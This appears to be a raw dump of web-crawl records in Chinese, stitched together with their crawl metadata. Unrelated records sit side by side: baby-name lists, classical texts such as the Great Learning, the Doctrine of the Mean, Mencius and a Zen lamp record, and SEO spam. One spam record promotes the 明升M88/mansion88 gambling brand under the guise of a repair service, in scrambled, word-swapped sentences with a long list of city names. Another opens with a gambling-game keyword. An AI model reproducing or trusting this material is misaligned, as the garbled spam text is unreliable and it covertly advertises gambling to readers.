王白浪 王乐存王云闲 王善登 王文祖 王蚊龙 王勤健 王彤玄 王线顺 王紫健 王敏捷 王雪昂 王德方 王狂沙 王夫慈王海明 王众凌 王昂藏 王亦雄 王幽朋 王仁青 王志道 王必昂 王博誓 王杉戒 王高振 王容德 王顺德王清乾 王夕轮 王高悟 王勤苦 王溪林 王易安 王厉文 王勤枝 王卡浪 王恕仁 王乐枝 王亦乐 王敬细王必强 王锐锋 王观健 王万坚 王棕兴 王翱翔 王言新 王清振 王进志 王涉空 王松柏 王永平 王羽勤展开全部我对起名略懂,还是好好找个懂行的老师比较好。还要考虑各种喜忌,搜索相关资料。也可直接点\"搜索资料\"搜索整个问题。\n关键词: 王石坚","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.fullbb.com\/yulexinwen\/601.html","date":"2019-07-21T04:29:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526888.75\/warc\/CC-MAIN-20190721040545-20190721062545-00500.warc.gz","language":"lzh","language_score":0.9701623917,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9701623916625977, \"nan_Hani_score\": 0.029217466711997986}","num_words":1768,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"君術策三\n天子之道,可以理得,而不可名推。其於天下,不取其形,而獨取其意。其道可以為善,而亦可以為不善。何者?其道無常。其道無常者,不善之所從生也。\n夫天下之人,惟知不忍殺人之為仁也,是故不忍殺人以自取不仁之名;惟知果於殺人之為義也,是故不敢不殺以自取不義之名。是二名者,其所以為仁者有形,而其所以為義者有狀。其進也,有所執其規;而其退也,有所蹈其矩。故其為人也,不失為天下之善人,而終不至於君子。有所甚而不堪,有所蔽而不見,此其為人是鄉黨自全之人也。今夫君子,有所殺人以為仁,而有所不殺以為義。義不在於殺人,而仁不在於不殺。其進也。無所據依,而其退也,無所底麗。故其成也,天下將皆安之;而其不成也,將使天下至於大亂。是以天下惡其難明,而畏其難就。人臣以是戒其君,而人君者亦以自戒曰:「姑為無殺人以為仁,而姑為果於殺人以為義。」是其仁可以全身,而其義可以無謗於天下,斯足以為無過也已矣。《孟子》有言曰:「責難於君謂之恭,陳善閉邪謂之有禮,而謂吾君不能者謂之賊。」且夫為人臣而詔其君,不曰必為大人之仁義,而曰姑為其易者,以苟避天下之謗,此非恐其君不能之故歟?\n蓋臣聞之人之聖道,惟其不可以名稱而跡求者,其為道也甚深而難成,而其成也,亦不若小道之淺而無功。所御甚廣而所處甚約,握之甚微而播之無極。故孔子曰:「吾非多學而識之,吾一以貫之。」夫一者何也?知天下萬物之理而制其所當處,是為一矣。而能得吾一者甚難,故夫天下之畏之者,亦不足怪也。古之聖人,己能知之,則行之而無疑;己不能知之,則不敢以己之私意而破天下之公義。使己而不好殺人,則天下安可盡無殺以成義之名?使己而好殺人,則安天下可盡殺以成義之形?蓋必有大臣救其已甚而補其不足,使義不在於殺人,而仁不在於不殺。方今天下之治,所不足者非仁也。吏聞有以入人之罪抵重罰,而未聞有以失人之罪抵深法者。民聞有以赦除其罪,而未聞有以不義得罪於法之外者。此亦足以見天子之用心矣。\n古者君臣之間,和而不同。上有寬厚之君,則下有守法之臣;上有急切之君,則下有推恩之臣,凡以交濟其所不足而彌縫其闕。今也君臣之風,上下如一而無以相濟,是以天下苦於寬緩怠情,而不能自振。此豈左右之大臣,務以順從上意為悅,而豈亦天子自信以為好仁之美,而不喜臣下之有所矯拂哉!\n方今之制,易於行賞而重於用罰。天下之以獄上者,凡與死比,則皆蹙頞而不悅,此其為意夫豈不善?然天下之奸人,無以深懲而切戒之者,此無乃為仁而至於不仁歟?臣愚以為輔君之善而補其不足,此誠大臣之事。苟天子自信以為善,欲以一人之私好,而破天下之公義,則夫大臣者,猶不可為也。惟知天子之仁義,而無務其跡以成匹夫之節,使大臣得參於其間而救其所短,此不亦近於天子之道歟?\n|↑返回頂部|\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%90%9B%E8%A1%93%E7%AD%96%E4%B8%89","date":"2019-08-19T22:34:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315132.71\/warc\/CC-MAIN-20190819221806-20190820003806-00218.warc.gz","language":"lzh","language_score":0.5614013076,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5614013075828552, \"cmn_Hani_score\": 0.3646390438079834, \"nan_Hani_score\": 0.05952917039394379}","num_words":8,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.8,"perplexity_score":500.0,"cluster_detection":1} +{"text":"千炮捕鱼技巧陕西高校疫情防控期间实行封闭式管理\n子曰:\"我未见好仁者,恶不仁者。好仁者,无以尚之;恶不仁者,其为仁矣,不使不仁者加乎其身。有能一日用其力于仁矣乎?我未见力不足者。盖有之矣,我未之见也。\"\n桓公二年,弟州吁骄奢,桓公绌之,州吁出饹。十三年,郑伯弟段攻其兄,不胜,亡,而州吁求与之友。十六年,州吁收聚卫亡人以袭杀桓公,州吁自立为卫君。为郑伯弟段欲伐郑,请宋、陈、蔡与俱,三国皆许州吁。州吁新立,好兵,弑桓公,卫人皆不爱。石碏乃因桓公母家於陈,详为善州吁。至郑郊,石碏与陈侯共谋,使右宰丑进食,因杀州吁于濮,而迎桓公弟晋於邢而立之,是为宣公。\n孔子曰:\"天下有道,则礼乐征伐自天子出;天下无道,则礼乐征伐自诸侯出。自诸侯出,盖十世希不失矣;自大夫出,五世希不失矣;陪臣执国命,三世希不失矣。天下有道,则政不在大夫;天下有道,则庶人不议。\"\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n臣闻地广者粟多,国大者人众,兵彊则士勇。是以太山不让土壤,故能成其大;河海不择细流,故能就其深;王者不卻众庶,故能明其德。是以地无四方,民无异国,四时充美,鬼神降福,此五帝、三王之所以无敌也。今乃弃黔首以资敌国,卻宾客以业诸侯,使天下之士退而不敢西向,裹足不入秦,此所谓\"藉寇兵而赍盗粮\"者也。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/rnbzj.zhiyi5.com\/wbplj\/","date":"2020-04-07T08:12:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371675859.64\/warc\/CC-MAIN-20200407054138-20200407084638-00133.warc.gz","language":"lzh","language_score":0.517051518,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5170515179634094, \"cmn_Hani_score\": 0.32015714049339294, \"nan_Hani_score\": 0.033134449273347855, \"wuu_Hani_score\": 0.027401696890592575, \"zxx_Latn_score\": 0.016939213499426842, \"jpn_Jpan_score\": 0.01023415569216013}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.227,"perplexity_score":500.0,"cluster_detection":1} +{"text":"美石为玉,玉是石头的精华,玉石又有趋吉避凶的作用,又形容人的外貌和品德温润出众。带玉字的可供参考的男孩名字搭配很多,下面小编精心整理了带玉字的男孩名字推荐,供大家参考,希望你们喜欢!\n带玉字的男孩名字参考玉民 玉波 玉斌 玉清 玉辉 玉文 玉新 玉亮 金玉 玉忠 玉坤 玉伟 玉兵 玉泉 玉江 玉光 文玉 玉彬 玉庆 玉鹏 玉堂 玉才 玉玺 玉松 玉磊 玉飞 玉喜 玉虎 明玉 玉红 玉贵 玉荣 玉锋 玉金 国玉 玉宏 玉和 怀玉 玉森 玉兴 玉君 玉川 德玉 玉超 广玉 玉鑫 玉田 玉全 玉胜 玉栋 玉亭 玉芳 玉昌 玉德 玉麟 成玉 玉福 玉安 玉俊 忠玉 玉敏 玉兰 玉青 玉根 海玉 良玉 玉勇 玉婷 玉奎 玉顺 传玉 洪玉 玉保 玉梅 玉玲 玉发 庆玉 玉书 子玉 玉水 玉章 玉石 玉萍 世玉 玉奇 玉武 玉富 玉臣 玉昆 玉琦 玉彪 玉洪 玉冰 玉建 春玉 玉珍 玉中 红玉 玉群 景玉 玉权 新玉 玉秋 家玉 玉升 玉岭 玉琪 玉霞 长玉 玉琢 玉广 玉学 玉来 玉雷 玉凯 玉恒 玉友 玉科 玉凤 兴玉 玉泽 培玉 玉振 振玉 玉博 玉标 玉朋 玉健 玉树 玉丰 玉宽 玉英 中玉 玉高 光玉 玉河 祥玉 玉云 玉利 小玉 志玉 玉洲 晓玉 宗玉 玉怀 建玉 玉乐 玉财 玉钢 保玉 玉印 玉剑 玉勤 玉仁 玉璞 玉立 玉珠 玉洁 玉铭 清玉 玉会 守玉 玉琳 玉康 玉莲 玉芬 玉锁 玉宇 玉合 兆玉 玉宁 玉岩 玉庭 昌玉 华玉 玉星 玉钦 玉瑞 玉滨 美玉 玉增 玉进 玉宾 玉贤 玉晓 玉卿\n带玉字名人名字\n罗振玉:(1866-1940),字叔蕴,一字叔言,号雪堂,语言文字学家。\n左良玉:(1599-1645),字昆山。明末大将。\n包玉刚:名起然,浙江宁波人。世界上拥有10亿美元以上资产的12位华人富豪之一。世人公推的华人世界船王。\n梁玉堂:1957年生,经济学硕士,高级经济师。\n含有\"玉\"字的四字成语\n芝兰玉树:比喻有出息的子弟。\n玉砌雕阑:形容富丽的建筑物。\n金玉满堂:堂:高大的厅堂。金玉财宝满堂。形容财富极多。也形容学识丰富。\n珠玉在侧:侧:旁边。比喻仪态俊秀的人在身边。\n霞明玉映:如霞光明艳,如玉色映现。形容光彩耀人。","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.wafclan.com\/news\/24329\/","date":"2020-08-09T14:37:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738555.33\/warc\/CC-MAIN-20200809132747-20200809162747-00410.warc.gz","language":"lzh","language_score":0.4160453677,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4160453677177429, \"cmn_Hani_score\": 0.3124184012413025, \"nan_Hani_score\": 0.26655516028404236}","num_words":198,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.299,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":500.0,"cluster_detection":1} +{"text":"明升M88手机版专业的供职团队速达维修具有,供职流程美满的,治理体例苛峻的。公司实名认证全面技师经,持证上岗公安立案。心任务的供职理念承袭诚信做人、用,效、安详的上门供职为用户供应专业、高!\n揭阳 济源 兰州 拉萨 柳州 洛阳 六盘水 辽源 丽江 笑山 开封 连云港 龙岩 临沧 辽阳 客人 莱芜 廊坊 娄底 六安 临汾 吕梁 陇南 丽水 临沂 聊城 笑清 凉山 临猗 林芝 临夏 马鞍山 绵阳 茂名 牡丹江 梅州 眉山 那曲区域 南通 南平 南充 宁德 南阳 内江 那曲 怒江 莆田 萍乡 平顶山 普洱 平凉 盘锦 攀枝花 曲靖 齐齐哈尔 秦皇岛 钦州 泉州 庆阳 七台河 清远 潜江 黔东南 黔南 黔西南 清徐 日照 瑞安 三亚 石嘴山 三明 汕头 十堰 双鸭山 邵阳 朔州 绍兴 松原 宿州 绥化 商洛 上饶 韶合 宿迁 遂宁 三门峡 四平 随州 商丘 汕尾 石河子 顺德 三沙 山南 神农架 唐山 铜川 天水 通辽 通化 铜仁 台州 泰安 泰州 铜陵 铁岭 台山 天门 桐城 吐鲁番 乌鲁木齐 芜湖 乌海 吴忠 梧州 渭南 武威 潍坊 威海 瓦房店 五家渠 五指山 武夷山 文山 西宁 襄阳 湘潭 咸阳 徐州 新余 邢台 新乡 忻州 兴安盟 孝感 咸宁 许昌 信阳 宣城 西双版纳 仙桃 湘西 垦利 喀什 银川 鹰潭 株洲 湛江 张家界 张家口 中山 珠上海 北京 深圳 杭州 姑苏 天津 义乌 南宁 广州 长沙 成都 南昌 重庆 宁波 武汉 西安 佛山 厦门 南京 郑州 济南 石家庄 合肥 福州 青岛 无锡 沈阳 太原 昆明 贵阳 东莞 温州 大连 鞍山 安顺 安庆 安阳 安康 包头 白银 蚌埠 宝鸡 保山 毕节 保定 白山 百色 白城 滨州 北海 本溪 巴中 长春 长治 赤峰 常州 滁州 常德 承德 郴州 沧州 崇左 向阳 池州 潮州 巢湖 长葛 昌都 昌吉 楚雄 大同 德阳 东营 丹东 大庆 达州 定西 德州 大丰 大兴安岭 德宏 迪庆 定州 大理 鄂尔多斯 鄂州 恩施 抚顺 阜阳 抚州 防城港 阜新 桂林 固原 贵港 赣州 广元 广安 甘南 甘孜 馆陶 果洛 海口 哈尔滨 呼和浩特 黄石 邯郸 鹤岗 衡阳 鹤壁 湖州 呼伦贝尔 汉中 河池 海西 海拉尔 海北 菏泽 河源 黄山 怀化 贺州 黄冈 淮北 衡水 淮南 葫芦岛 黑河 惠州 淮安 红河 黄南 霍邱 哈密 海东 海南 和田 景德镇 金昌 吉林 鸡西 焦作 九江 嘉兴 晋城 荆州 锦州 江门 金华 晋中 荆门 吉安 佳木斯 酒泉 济宁 嘉峪合 海\n家接单后1.商,需提前2幼时通告修削订单或退款;单将按30元\/人扣取空单费2.预定功夫前2幼时内退;额退款并向您特地赔付30元3.如商家接单后爽约将全;抵家师傅供应供职4.该项目由巧匠,务更疾上门服;障您的权力5.为保,明升mansion88,过到位平台支出全面用度请通。","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/mjwxzxzs.com\/da-kong\/chou-you-yan-ji-da-kong-su-da-wei-xiu-dao-wei-zhi-yue-shang\/","date":"2021-12-08T22:31:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363598.57\/warc\/CC-MAIN-20211208205849-20211208235849-00573.warc.gz","language":"lzh","language_score":0.4673659801,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.46736598014831543, \"cmn_Hani_score\": 0.34771716594696045, \"nan_Hani_score\": 0.17418910562992096}","num_words":310,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.294,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.486,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n臧柏为 臧则栋 臧浩君 臧清奕 臧卫祺 臧昕毅 臧和越 臧亚祺 臧芯栎 臧芯越 臧新越 臧微越 臧天祺 臧景江 臧景周 臧思凡 臧学严 臧知淼 臧卓淼 臧卓然 臧鸿君 臧水淼 臧观涛 臧语其 臧绮淼 臧浣淼 臧悠淼 臧悠然 臧洛淼 臧玄淼 臧羽淼 臧典淼 臧凉淼 臧乔淼 臧巧淼 臧岑淼 臧涔淼 臧笙淼 臧学淼 臧优淼 臧佑淼 臧衣淼 臧茉淼 臧亦淼 臧以淼 臧薰淼 臧汐淼 臧凡淼 臧梵淼 臧沁淼 臧昔淼 臧兮淼 臧夕淼 臧惜淼 臧宸淼 臧臣淼 臧昕淼 臧侬淼 臧欣侬 臧晨淼 臧其淼 臧思晗 臧思菡 臧思函 臧思涵 臧斯涵 臧灵希 臧灵雨 臧灵语 臧依晨 臧泰云 臧欣越 臧芳慧 臧继强 臧烨 臧亚威 臧庆杨 臧传慧 臧妤沁 臧玉俊 臧艳尊 臧夕滟 臧志轩 臧宏瑞 臧紫来 臧思齐 臧甘棠 臧婉棠 臧昊轩 臧昊宇 臧昊川 臧砚晖 臧砚辉 臧砚章 臧砚墨 臧砚之 臧楚涵 臧传书 臧传传 臧锦良 臧佳齐 臧国斌 臧国兵 臧国元 臧国韦 臧国锐 臧奕博 臧万发 臧国尉 臧国卫 臧明山 臧国锋 臧小伟 臧国融 臧国伟 臧红艺 臧乐艺 臧晶宁 臧明凤 臧钊阅 臧釜阅 臧晟阅 臧海慧 臧延楼 臧士权 臧督硕 臧煜源 臧红宇 臧广平 臧树槐 臧振迪 臧笠博 臧破杀 臧爱然 臧彦隽 臧宇海 臧嘉喻 臧伊海 臧丹凤 臧霖 臧凤宇 臧涵毓 臧涵睿 臧春杰 臧发臻 臧宣宇 臧恒雨 臧恒宇 臧恒源 臧晓宇 臧晓雨 臧恩泽 臧文强 臧嘉夷 臧安平 臧熙泽 臧天明 臧国运 臧喜臻 臧志远 臧语依 臧依语 臧语晨 臧灵依 臧泰淼 臧苔淼 臧芷淼 臧诺淼 臧喏淼 臧耀淼 臧夭淼 臧尧淼 臧佟淼 臧铭淼 臧鸣淼 臧名淼 臧易淼 臧旭淼 臧依淼 臧淼一 臧幽淼 臧希淼 臧冉淼 臧柯淼 臧可淼 臧尹淼 臧睿淼 臧威淼 臧玮淼 臧苇淼 臧未淼 臧唯淼 臧彦琪 臧菱骄 臧真良 臧秀馥 臧河翔 臧红杰 臧籽墨 臧子墨 臧景雯 臧之奕 臧书婉 臧璐妃 臧诗琪 臧沁彤 臧语瞳 臧静淑 臧淑依 臧喜荣 臧庆荣 臧奕清 臧亦清 臧锐铮 臧瑞征 臧瑞宇 臧菲羽 臧凤岐 臧淡馨 臧昊恬 臧德顺 臧欣钰 臧冰依 臧冰一 臧玉芹 臧金凤 臧传利 臧晓隆 臧晓龙 臧秋莲 臧少玮 臧卿言 臧文月 臧伟栋 臧西贝 臧国涛 臧瑞国 臧金浩 臧海波 臧海博 臧树贵 臧卢明 臧雪芹 臧杨清 臧扬清 臧艺 臧玉华 臧涟 臧晨旭 臧人君 臧新江 臧路遥 臧富强 臧誉博 臧誉昆 臧玉鹏 臧兴邦 臧如春 臧瑞海 臧百恒 臧佳荥 臧嘉荥 臧益淼 臧羿淼 臧奕淼 臧晶淼 臧鑫淼 臧炙淼 臧芝淼 臧之淼 臧舒淼 臧纾淼 臧殊淼 臧娴殊 臧殊娴 臧奕婕 臧弈婕 臧子箐 臧子清 臧子殊 臧沉素 臧淑辰 臧淑晨 臧殊涵 臧涵殊 臧素素 臧素晨 臧姝晨 臧姝辰 臧涔淑 臧辰淑 臧晨淑 臧晨殊 臧辰殊 臧殊辰 臧殊晨 臧德山 臧艾嫦","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.scw3.cn\/show_QA0.aspx","date":"2023-12-05T12:45:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100551.17\/warc\/CC-MAIN-20231205105136-20231205135136-00292.warc.gz","language":"lzh","language_score":0.5978830457,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5978830456733704, \"cmn_Hani_score\": 0.27291804552078247, \"nan_Hani_score\": 0.024959679692983627, \"yue_Hani_score\": 0.02264968492090702, \"zxx_Latn_score\": 0.019998829811811447, \"wuu_Hani_score\": 0.01926986128091812}","num_words":299,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.59,"perplexity_score":500.0,"cluster_detection":1} +{"text":"短篷醉艤。江南秋意如水。露草星明,風柳絲委。危檻倚。為故人宴喜。歡無幾。念青奚紫綺。論詩載酒,猶勝心寄雙鯉。倦遊晚矣。雲路非吾事。湖海從君意。沙雁起。記夜闌隱几。\n...,焉能極夫遠道?置援狖於欞檻兮,夫何以責其捷巧?駟跛鱉而上山兮,吾固知其不能陞。釋管晏而任臧獲兮,何權衡之能稱?箟簬雜於黀蒸兮,機蓬矢以射革。負檐荷以丈尺兮,欲伸要而不可得。外迫脅於機臂兮,上牽聯於矰隿。肩傾側而不容兮,固陿腹而不得息。務光","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/iccie.tw\/q\/%E4%BA%8E%E6%8D%B7","date":"2023-12-09T12:42:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100909.82\/warc\/CC-MAIN-20231209103523-20231209133523-00046.warc.gz","language":"lzh","language_score":0.3978842199,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.39788421988487244, \"zxx_Latn_score\": 0.1400051712989807, \"cmn_Hani_score\": 0.07695657759904861, \"und_Tang_score\": 0.032509248703718185, \"und_Xsux_score\": 0.026515617966651917, \"und_Egyp_score\": 0.02404184639453888, \"und_Cans_score\": 0.02131572552025318, \"und_Bamu_score\": 0.02073568105697632, \"und_Hluw_score\": 0.01697760634124279, \"yue_Hani_score\": 0.016136618331074715, \"nan_Hani_score\": 0.0143880695104599, \"und_Hira_score\": 0.012331404723227024, \"und_Cyrl_score\": 0.010895386338233948, \"jpn_Jpan_score\": 0.01087188720703125, \"und_Grek_score\": 0.010706626810133457}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.139,"perplexity_score":500.0,"cluster_detection":1} +{"text":"中庸:\n天命之謂性,率性之謂道,修道之謂教。道也者,不可須臾離也,可離非道也。是故君子戒慎乎其所不睹,恐懼乎其所不聞。莫見乎隱,莫顯乎微,故君子慎其獨也。喜怒及樂之未發謂之中。而皆中節謂之和。中也有,天下之大本也;和也者,天下之達道也。致中和,天地位焉,萬物育焉。\n大學:\n大學之道.在明明德.在親民.在止於至善.知止而後有定.定而後能靜.靜而後能安.安而後能慮.慮而後能得.物有本末.事有終始.知所先後.則近道矣.古之欲明明德於天下者.先治其國.欲治其國者.先齊其家.欲齊其家者.先修其身.欲修其身者.先正其心.欲正其心者.先誠其意.欲誠其意者.先致其知.致知在格物.物格而後知至.知至而後意誠.意誠而後心正.心正而後身修.身修而後家齊.家齊而後國治.國治而後天下平.\n自天子以至於庶人.壹是皆以修身為本.其本亂而末治者否矣.其所厚者薄.而其所薄者厚.未之有也.此謂知本.此謂知之至也.\n所謂誠其意者.毋自欺也.如惡惡臭.如好好色.此之謂自謙.故君子必慎其獨也.小人閒居為不善.無所不至.見君子而後厭然.其不善而著其善.人之視己.如見其肺肝然.則何益矣.此謂誠於中.形於外.故君子必慎其獨也.曾子曰.十目所視.十手所指.其嚴乎.富潤屋.德潤身.心廣體胖.故君子必誠其意.\n詩云.瞻彼淇澳.菉竹猗猗.有斐君子.如切如磋.如琢如磨.瑟兮僩兮.赫兮喧兮.有斐君子.終不可諠兮.如切如磋者.道學也.如琢如磨者.自修也.瑟兮僩兮者.恂栗也.赫兮喧兮者.威儀也.有斐君子.終不可諠兮者.道盛德至善.民之不能忘也.詩云.於戲前王不忘.君子賢其賢.而親其親.小人樂其樂而利其利.此以沒世不忘也.康誥曰.克明德.大甲曰.顧諟天之明命.帝典曰.克明峻德.皆自明也.湯之盤銘曰.苟日新.日日新.又日新.康誥曰.作新民.詩曰.周雖舊邦.其命惟新.是故君子無所不用其極.詩云.邦畿千裡.惟民所止.詩云.緡蠻黃鳥.止於丘隅.子曰.於止.知其所止.可以人而不如鳥乎.詩云.穆穆文王.於緝熙敬止.為人君止於仁.為人臣止於敬.為人子止於孝.為人父止於慈.與國人交止於信.\n子曰.聽訟吾猶人也.必也使無訟乎.無情者不得盡其辭.大畏民誌.此謂知本.\n所謂修身在正其心者.身有所忿懥﹒則不得其正﹒有所恐懼﹒則不得其正﹒有所好樂.則不得其正.有所憂患.則不得其正.心不在焉.視而不見.聽而不聞.食而不知其味.此謂修身在正其心.\n所謂齊其家在修其身者.人之其所親愛而闢焉.之其所賤惡而闢焉.之其所畏敬而闢焉.之其所哀矜而闢焉.之其所敖惰而闢焉.故好而知其惡.惡而知其美者.天下鮮矣.故諺有之曰.人莫知其子之惡.莫知其苗之碩.此謂身不修.不可以齊其家.\n所謂治國必先齊其家者.其家不可教.而能教人者無之.故君子不出家而成教於國.孝者所以事君也.弟者所以事長也.慈者所以使眾也.康誥曰.如保赤子.心誠求之.雖不中不遠矣.未有學養子而後嫁者也.一家仁.一國興仁.一家讓.一國興讓.一人貪戾.一國作亂.其機如此.此謂一言僨事.一人定國.堯舜率天下以仁.而民從之.桀紂率天下以暴.而民從之.其所令反其所好.而民不從.是故君子有諸己.而後求諸人.無諸己.而後非諸人.所藏乎身不恕.而能喻諸人者.未之有也.故治國在齊其家.詩云.桃之夭夭.其葉蓁蓁.之子於歸.宜其家人.宜其家人.而後可以教國人.詩云.宜兄宜弟.宜兄宜弟.而後可以教國人.詩云.其儀不忒.正是四國.其為父子兄弟足法.而後民法之也.此謂治國在齊其家.\n所謂平天下在治其國者.上老老而民興孝.上長長而民興弟.上恤孤而民不倍.是以君子有絜矩之道也.所惡於上.毋以使下.所惡於下.毋以事上.所惡於前.毋以先後.所惡於後.毋以從前.所惡於右.毋以交於左.所惡於左.毋以交於右.此之謂絜矩之道.詩云.樂只君子.民之父母.民之所好好之.民之所惡惡之.此之謂民之父母.詩云.節彼南山.維石岩岩.赫赫師尹.民具爾瞻.有國者不可以不慎.闢則為天下矣.詩云.殷之未喪師.克配上帝.儀監於殷.峻命不易.道得眾則得國.失眾則失國.是故君子先慎乎德.有德此有人.有人此有土.有土此有財.有財此有用.德者本也.財者末也.外本內末.爭民施奪.是故財聚則民散.財散則民聚.是故言悖而出者.亦悖而入.貨悖而入者.亦悖而出.康誥曰.惟命不於常.道善則得之.不善則失之矣.楚書曰.楚國無以為寶.惟善以為寶.舅犯曰.亡人無以為寶.仁親以為寶.秦誓曰.若有一個臣.斷斷兮無他技.其心休休焉.其如有容焉.人之有技.若己有之.人之彥聖.其心好之.不啻若自其出口.寔能容之.以能保我子孫黎民.尚亦有利哉.人之有技.媢嫉以惡之.人之彥聖而違之.俾不通.寔不能容.以不能保我子孫黎民.亦曰殆哉.唯仁人放流之.迸諸四夷.不與\n同中國.此謂唯仁人為能愛人.能惡人.見賢而不能舉.舉而不能先.命也.見不善而不能退.退而不能遠.過也.好人之所惡.惡人之所好.是謂拂人之性.菑必逮夫身.是故君子\n有大道.必忠信以得之.驕泰以失之.生財有大道.生之者眾.食之者寡.為之者疾.用之者舒.則財恆足矣.仁者以財發身.不仁者以身發財.未有上好仁.而下不好義者也.未有\n好義.其事不終者也.未有府庫財.非其財者也.孟獻子曰.畜馬乘.不察於雞豚.伐冰之家.不畜牛羊.百乘之家.不畜聚斂之臣.與其有聚斂之臣.寧有盜臣.此謂國不以利為利.以義為利也.長國家而務財用者.必自小人矣.彼為善之.小人之使為國家.菑害並至.雖有善者.亦無如之何矣.此謂國不以利為利.以義為利也.\n孟子曰:\n「盡其心者,知其性也。知其性,則知天矣。存其心,養其性,所以事天也。殀壽不貳,修身以俟之,所以立命也。」\n黃帝四經 - 立命\n昔者黃宗質始好信,作自為像,方四面,傅一心,四達自中,前參後參,左參右參,踐立(位)履參。是以能為天下宗。吾受命於天,定立(位)於地,成名於人。唯餘一人□乃肥(配)天,乃立王三公。立國置君三卿。數日、磨(歷)月、計歲,以當日月之行。允地廣裕,吾類天大明。吾畏天愛地親(民),□無命,執虛信。吾畏天愛(地)親民,立有命,執虛信。吾愛民而民不亡,吾愛地而地不兄(曠)。吾受民□□□□□□□□死,吾位□。吾句(苟)能親親而興賢,吾不遺亦至矣。\n景德傳燈錄 第十卷\n湖南長沙景岑號招賢大師。初住鹿苑為第一世。其後居無定所。但徇緣接物隨請說法。故時眾謂之長沙和尚。上堂曰。我若一向舉揚宗教。法堂裡須草深一丈。我事不獲已。所以向汝諸人道。盡十方世界是沙門眼。盡十方世界是沙門全身。盡十方世界是自己光明。盡十方世界在自己光明里。盡十方世界無一人不是自己。我常向汝諸人道。三世諸佛共盡法界眾生是摩訶般若光。光未發時汝等諸人。向什麼處委。光未發時尚無佛無眾生消息。何處得山河國土來。時有僧問。如何是沙門眼。師云。長長出不得。又云。成佛成祖出不得。六道輪迴出不得。僧云。未審出個什麼不得。師云。晝見日夜見星。僧云。學人不會。師云。妙高山色青又青。僧問。教中云。而常處此菩提座。如何是座。師云。老僧正坐大德正立。僧問。如何是大道。師云。沒卻汝。僧問。諸佛師是誰。師云。從無始劫來承誰覆蔭。僧師。未有諸佛已前作么生。師云。魯祖開堂亦與師僧東道西說。僧問。學人不據地時如何。師云。汝向什麼處安身立命。僧云。卻據地時如何。師云。拖出死屍著。僧問。如何是異類。師云。尺短寸長。僧問。如何是諸佛師。師云。不可更拗直作曲邪。僧云。請和尚向上說。師云。阇梨眼瞎耳聾作麼。師遣一僧去問同參會和尚云。和尚見南泉後如何。會默然。僧云。和尚未見南泉已前作么生。會雲。不可更別有也。僧回舉似師。師示一偈曰\n百丈竿頭不動人雖然得入未為真\n百丈竿頭須進步十方世界是全身\n以上簡要收集古人於天命之相關見地。\n提供大家參考。","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/omahhum.yebi.tw\/blog\/522.html","date":"2024-04-24T17:55:38Z","file_path":"s3:\/\/commo